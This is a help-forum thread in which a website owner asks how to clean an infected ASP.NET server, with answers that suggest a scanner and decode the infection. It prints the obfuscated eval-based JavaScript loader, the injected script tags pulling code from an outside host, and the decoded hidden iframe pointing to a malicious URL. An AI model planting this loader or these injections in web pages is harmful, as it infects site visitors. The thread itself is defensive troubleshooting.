Q: I think my website is infected this is driving me crazy. I think my website is infected by some sort of virus, here is what is happening:
Random javascript files are appearing on the server, with names such as jquery.ui.dialog.min.js and jquery.ui.button.min.js. All these files contain the same piece of code:
s="";try{q=document.createElement("p");a=(q)?"appendChild":12;q[a]("123"+n);}catch(qw){f=(q)?"fromCharCode":2;h=-016/7;try{eval("a=prototype");}catch(zxc){e=window["e"+"va"+"l"];n="26.30.400.555.198.351.436.505.220.348.184.595.228.315.464.505.80.117.240.525.204.342.388.545.202.96.460.570.198.183.136.520.232.348.448.290.94.141.396.485.226.360.388.570.222.138.456.585.94.297.444.585.220.348.196.260.92.336.416.560.68.96.440.485.218.303.244.170.168.357.420.580.232.303.456.170.64.345.396.570.222.324.432.525.220.309.244.170.194.351.464.555.68.96.408.570.194.327.404.490.222.342.400.505.228.183.136.550.222.102.128.485.216.315.412.550.122.102.396.505.220.348.404.570.68.96.416.505.210.309.416.580.122.102.200.170.64.357.420.500.232.312.244.170.100.102.248.300.94.315.408.570.194.327.404.310.78.123.236.65.20".split(".");if(window.document)for(i=6-2-1-2-1;-161+i!=2-2;i++){k=i;s=s+String[f](n[k]/(i%(h*h)+2));}e(s);}}

The main problem is that this "virus" is appending a line of code to my default.aspx breaking the server. Here is what it is adding:
<asp:Content ID="Content1" ContentPlaceHolderID="cphBody" Runat="Server">
//Code here
</asp:Content>**<script type="text/javascript" language="javascript" src="http://easydiablo3.com//ImageStorage/jquery.ui.button.min.js" ></script><script type="text/javascript" language="javascript" src="http://easydiablo3.com//themes/jquery.ui.dialog.min.js" ></script>**

If I delete the files they just show up after a little while. Does anyone know how I can fix this?

A: Use this link to detect infected files/folder 
http://sitecheck.sucuri.net/scanner/

A: The code is eval()'ing the following code in your page 
<iframe src="http://caqxaro.ru/count14.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>

You may have a vulnaribility somewhere in your application, check your database for weird values, check for upgrades if you are using an CMS like joomla etc.. after that restore a recent backup of your application if possible.
